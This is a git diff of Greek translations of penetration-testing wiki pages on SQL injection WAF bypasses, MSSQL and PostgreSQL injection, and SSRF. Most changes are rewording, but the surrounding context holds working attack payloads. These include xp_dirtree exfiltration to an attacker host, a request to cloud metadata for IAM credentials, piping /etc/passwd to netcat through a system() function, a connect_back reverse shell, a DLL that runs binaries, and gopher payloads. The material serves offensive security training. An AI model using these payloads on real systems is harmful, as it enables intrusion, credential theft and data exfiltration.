χρησιμοποιώντας εναλλακτικές κενές θέσεις ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- @@ -422,9 +508,9 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` -### Generic Bypasses +### Γενικές Παράκαμψεις -Μαύρη λίστα χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα +Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# @@ -449,7 +535,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ``` ### Παράκαμψη Περιορισμού Ονομάτων Στηλών -Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag` +Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag` Είναι δυνατόν να **έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της** χρησιμοποιώντας ένα ερώτημα όπως το εξής: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι: ```bash @@ -465,6 +551,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ### Εργαλεία προτάσεων παράκαμψης WAF + {{#ref}} https://github.com/m4ll0k/Atlas {{#endref}} @@ -476,6 +563,7 @@ https://github.com/m4ll0k/Atlas ## Λίστα Ανίχνευσης Brute-Force + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}} diff --git a/src/pentesting-web/sql-injection/mssql-injection.md b/src/pentesting-web/sql-injection/mssql-injection.md index 94dad8ba7..7c869339e 100644 --- a/src/pentesting-web/sql-injection/mssql-injection.md +++ b/src/pentesting-web/sql-injection/mssql-injection.md @@ -4,7 +4,7 @@ ## Active Directory enumeration -Μπορεί να είναι δυνατό να **καταμετρήσετε τους χρήστες του τομέα μέσω SQL injection μέσα σε έναν MSSQL** διακομιστή χρησιμοποιώντας τις παρακάτω MSSQL συναρτήσεις: +Είναι πιθανό να **καταμετρήσετε τους χρήστες του τομέα μέσω SQL injection σε έναν MSSQL** διακομιστή χρησιμοποιώντας τις παρακάτω MSSQL συναρτήσεις: - **`SELECT DEFAULT_DOMAIN()`**: Λάβετε το τρέχον όνομα τομέα. - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Εάν γνωρίζετε το όνομα του τομέα (_DOMAIN_ σε αυτό το παράδειγμα), αυτή η συνάρτηση θα επιστρέψει το **SID του χρήστη Administrator** σε μορφή hex. Αυτό θα μοιάζει με `0x01050000000[...]0000f401`, σημειώστε πώς τα **τελευταία 4 bytes** είναι ο αριθμός **500** σε **big endian** μορφή, που είναι το **κοινό ID του χρήστη administrator**.\ @@ -17,9 +17,9 @@ user = struct.pack(' -Οι αποθηκευμένες διαδικασίες όπως το `xp_dirtree`, αν και δεν τεκμηριώνονται επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε δικτυακές λειτουργίες εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα [παραδείγματα](https://www.notsosecure.com/oob-exploitation-cheatsheet/) και [δημοσιεύσεις](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). +Οι αποθηκευμένες διαδικασίες όπως το `xp_dirtree`, αν και δεν είναι επίσημα τεκμηριωμένες από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε δικτυακές λειτουργίες εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα [παραδείγματα](https://www.notsosecure.com/oob-exploitation-cheatsheet/) και [δημοσιεύσεις](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). -Η αποθηκευμένη διαδικασία `xp_dirtree`, για παράδειγμα, χρησιμοποιείται για να κάνει δικτυακά αιτήματα, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από δικτυακά κοινά. Η χρήση της αποδεικνύεται στο παρακάτω SQL script: +Η αποθηκευμένη διαδικασία `xp_dirtree`, για παράδειγμα, χρησιμοποιείται για να κάνει δικτυακά αιτήματα, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από δικτυακές κοινές χρήσεις. Η χρήση της αποδεικνύεται στο παρακάτω SQL script: ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); @@ -99,7 +99,7 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); ### `xp_cmdshell` -Προφανώς, θα μπορούσατε επίσης να χρησιμοποιήσετε **`xp_cmdshell`** για να **εκτελέσετε** κάτι που ενεργοποιεί μια **SSRF**. Για περισσότερες πληροφορίες **διαβάστε την σχετική ενότητα** στη σελίδα: +Προφανώς μπορείτε επίσης να χρησιμοποιήσετε **`xp_cmdshell`** για να **εκτελέσετε** κάτι που ενεργοποιεί μια **SSRF**. Για περισσότερες πληροφορίες **διαβάστε την σχετική ενότητα** στη σελίδα: {{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ @@ -111,7 +111,7 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε αυτό το [Github αποθετήριο](https://github.com/infiniteloopltd/SQLHttp) για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL. -Η ουσία αυτής της λειτουργικότητας είναι ενσωματωμένη στο αρχείο `http.cs`, το οποίο χρησιμοποιεί την κλάση `WebClient` για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω: +Η βασική λειτουργικότητα αυτής της δυνατότητας είναι ενσωματωμένη στο αρχείο `http.cs`, το οποίο χρησιμοποιεί την κλάση `WebClient` για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω: ```csharp using System.Data.SqlTypes; using System.Net; @@ -127,11 +127,11 @@ return new SqlString(html); } } ``` -Πριν εκτελέσετε την εντολή SQL `CREATE ASSEMBLY`, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατή μέσω `select * from sys.trusted_assemblies;`): +Πριν εκτελέσετε την εντολή SQL `CREATE ASSEMBLY`, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατό μέσω `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` -Αφού προσθέσετε επιτυχώς τη βιβλιοθήκη και δημιουργήσετε τη συνάρτηση, ο παρακάτω SQL κώδικας μπορεί να χρησιμοποιηθεί για την εκτέλεση HTTP αιτημάτων: +Μετά την επιτυχή προσθήκη της βιβλιοθήκης και τη δημιουργία της συνάρτησης, ο παρακάτω SQL κώδικας μπορεί να χρησιμοποιηθεί για την εκτέλεση HTTP αιτημάτων: ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; @@ -141,9 +141,9 @@ SELECT dbo.http(@url); [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). -Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας `FOR JSON`. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας `FOR XML`, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως το "raw". Η ρήτρα `FOR JSON` προτιμάται για την συντομία της. +Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας `FOR JSON`. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας `FOR XML`, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως "raw". Η ρήτρα `FOR JSON` προτιμάται για την συντομία της. -Ακολουθεί πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από την τρέχουσα βάση δεδομένων: +Ακολουθεί πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από τη τρέχουσα βάση δεδομένων: ````sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: @@ -203,7 +203,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": ```sql -ΕΠΙΛΕΞΤΕ 'α' ΕΠΙΛΕΞΤΕ 'β' +SELECT 'a' SELECT 'b' ``` So for example, multiple queries such as: @@ -219,7 +219,7 @@ So for example, multiple queries such as: Can be reduced to: ```sql -χρησιμοποιήστε[tempdb]δημιουργία/**/πίνακα[test]([id]int)εισαγωγή[test]τιμές(1)επιλογή[id]από[test]διαγραφή/**/πίνακα[test] +use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md index 948543af3..c1d3b0268 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md @@ -5,20 +5,21 @@ --- -**Αυτή η σελίδα έχει σκοπό να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**Αυτή η σελίδα στοχεύει να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration -Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η καταγραφή απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). +Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες PostgreSQL περιπτώσεις και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων NTLM challenge. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων ελέγξτε πώς να [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). -### **Παράδειγμα εξαγωγής χρησιμοποιώντας dblink και μεγάλα αντικείμενα** +### **Exfiltration example using dblink and large objects** -Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξαγάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`. +Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`. ## PostgreSQL Attacks: Read/write, RCE, privesc Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο: + {{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}} @@ -47,13 +48,13 @@ SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database_to_xml** -Αυτή η συνάρτηση θα εξάγει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 γραμμή (προσοχή αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον δικό σας πελάτη): +Αυτή η συνάρτηση θα εξάγει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 γραμμή (να είστε προσεκτικοί αν η βάση δεδομένων είναι πολύ μεγάλη, καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον δικό σας πελάτη): ```sql SELECT database_to_xml(true,true,''); ``` ### Strings in Hex -Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη **`query_to_xml`** συνάρτηση). **Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:** +Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη λειτουργία **`query_to_xml`**). **Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:** ```sql select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); @@ -65,7 +66,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio ``` ### Απαγορευμένα αποσπάσματα -Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να παρακάμψετε αυτό με το `CHR` για βασικές ρήτρες (_η συγχώνευση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_): +Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να το παρακάμψετε με το `CHR` για βασικές ρήτρες (_η σύνθεση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index cca98c2f2..9a9bce026 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -14,7 +14,7 @@ **Για περισσότερες πληροφορίες δείτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** -Η εκτέλεση εντολών συστήματος από την PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). +Η εκτέλεση εντολών συστήματος από την PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού του: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); @@ -83,7 +83,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής και της συμβατότητας έκδοσης του συστήματος. -#### Μεταγλωττίστε τη βιβλιοθήκη +#### Συμπίεση της βιβλιοθήκης Αποκτήστε την έκδοση του PostgreSQL με: ```sql @@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec ### RCE σε Windows -Η παρακάτω DLL δέχεται ως είσοδο το **όνομα του δυαδικού** και τον **αριθμό** των **φορών** που θέλετε να το εκτελέσετε και το εκτελεί: +Η παρακάτω DLL δέχεται ως είσοδο το **όνομα του δυαδικού αρχείου** και τον **αριθμό** των **φορών** που θέλετε να το εκτελέσετε και το εκτελεί: ```c #include "postgres.h" #include @@ -272,6 +272,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσετε μεγάλες αντικείμενα για να ανεβάσετε το dll**. Μπορείτε να δείτε πώς να το κάνετε αυτό εδώ: + {{#ref}} big-binary-files-upload-postgresql.md {{#endref}} @@ -284,7 +285,7 @@ select connect_back('192.168.100.54', 1234); _Σημειώστε ότι δεν χρειάζεται να προσθέσετε την επέκταση `.dll` καθώς η συνάρτηση create θα την προσθέσει._ Για περισσότερες πληροφορίες **διαβάστε την** [ **αρχική δημοσίευση εδώ**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ -Σε αυτή τη δημοσίευση **αυτός ήταν ο** [**κώδικας που χρησιμοποιήθηκε για να παραχθεί η επέκταση postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις_).\ +Σε αυτή τη δημοσίευση **αυτός ήταν ο** [**κώδικας που χρησιμοποιήθηκε για να δημιουργήσει την επέκταση postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις_).\ Στην ίδια σελίδα δόθηκε αυτή η **εκμετάλλευση για να αυτοματοποιήσει** αυτή την τεχνική: ```python #!/usr/bin/env python3 diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md index 885e78854..31287123c 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md @@ -22,7 +22,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language; - ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση) > [!WARNING] -> Εάν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη έμπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**) μπορείτε να προσπαθήσετε να την **εμπιστευθείτε** με την παρακάτω γραμμή ώστε να μην επιβληθούν περιορισμοί από το PostgreSQL: +> Εάν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη έμπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**) μπορείτε να προσπαθήσετε να την **εμπιστευθείτε** με την παρακάτω γραμμή ώστε να μην εφαρμοστούν περιορισμοί από το PostgreSQL: > > ```sql > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; @@ -120,7 +120,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively) ``` {{#endtab}} -{{#tab name="Βρείτε το Αρχείο"}} +{{#tab name="Find File"}} ```sql CREATE OR REPLACE FUNCTION find_file (exe_sea text) RETURNS VARCHAR(65535) stable @@ -189,7 +189,7 @@ SELECT findx("/"); #Find an executables in folder (recursively) ``` {{#endtab}} -{{#tab name="Βρείτε exec με υποκαταστάσεις"}} +{{#tab name="Find exec by subs"}} ```sql CREATE OR REPLACE FUNCTION find_exe (exe_sea text) RETURNS VARCHAR(65535) stable @@ -287,6 +287,7 @@ SELECT req3('https://google.com'); #Request using python3 Ελέγξτε την παρακάτω σελίδα: + {{#ref}} pl-pgsql-password-bruteforce.md {{#endref}} @@ -295,6 +296,7 @@ pl-pgsql-password-bruteforce.md Ελέγξτε την παρακάτω σελίδα: + {{#ref}} rce-with-postgresql-extensions.md {{#endref}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index c2148565e..f745695b9 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -42,9 +42,9 @@ url-format-bypass.md - **SFTP://** - Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: `url=sftp://generic.com:11111/` - **TFTP://** -- Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script που έχει σχεδιαστεί για να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται προς το 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` +- Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script σχεδιασμένου να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται στο 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** -- Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` +- Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: `'%0astats%0aquit' μέσω ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - **SMTP** - Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για αλληλεπίδραση με υπηρεσίες SMTP στον localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες. ``` @@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929 4. connect ``` - **Curl URL globbing - WAF bypass** -- Αν το SSRF εκτελείται από **curl**, το curl έχει μια δυνατότητα που ονομάζεται [**URL globbing**](https://everything.curl.dev/cmdline/globbing) που θα μπορούσε να είναι χρήσιμη για να παρακάμψει τα WAFs. Για παράδειγμα, σε αυτή την [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) μπορείτε να βρείτε αυτό το παράδειγμα για **path traversal μέσω του `file` πρωτοκόλλου**: +- Αν η SSRF εκτελείται από **curl**, το curl έχει μια δυνατότητα που ονομάζεται [**URL globbing**](https://everything.curl.dev/cmdline/globbing) που θα μπορούσε να είναι χρήσιμη για την παράκαμψη των WAF. Για παράδειγμα, σε αυτήν την [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) μπορείτε να βρείτε αυτό το παράδειγμα για **path traversal μέσω του πρωτοκόλλου `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` @@ -64,8 +64,8 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ### Gopher:// -Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, τη θύρα και τα bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).\ -Ευτυχώς, μπορείτε να χρησιμοποιήσετε το [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για να δημιουργήσει _gopher_ payloads για _Java RMI_ υπηρεσίες. +Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, τη θύρα και τα bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει πρώτα να ξέρετε πώς να μιλήσετε με την υπηρεσία).\ +Ευτυχώς, μπορείτε να χρησιμοποιήσετε το [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για τη δημιουργία _gopher_ payloads για _Java RMI_ υπηρεσίες. **Gopher smtp** ``` @@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 ``` ## SSRF μέσω του κεφαλίδας Referrer & Άλλα -Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "**Collaborator Everywhere**", 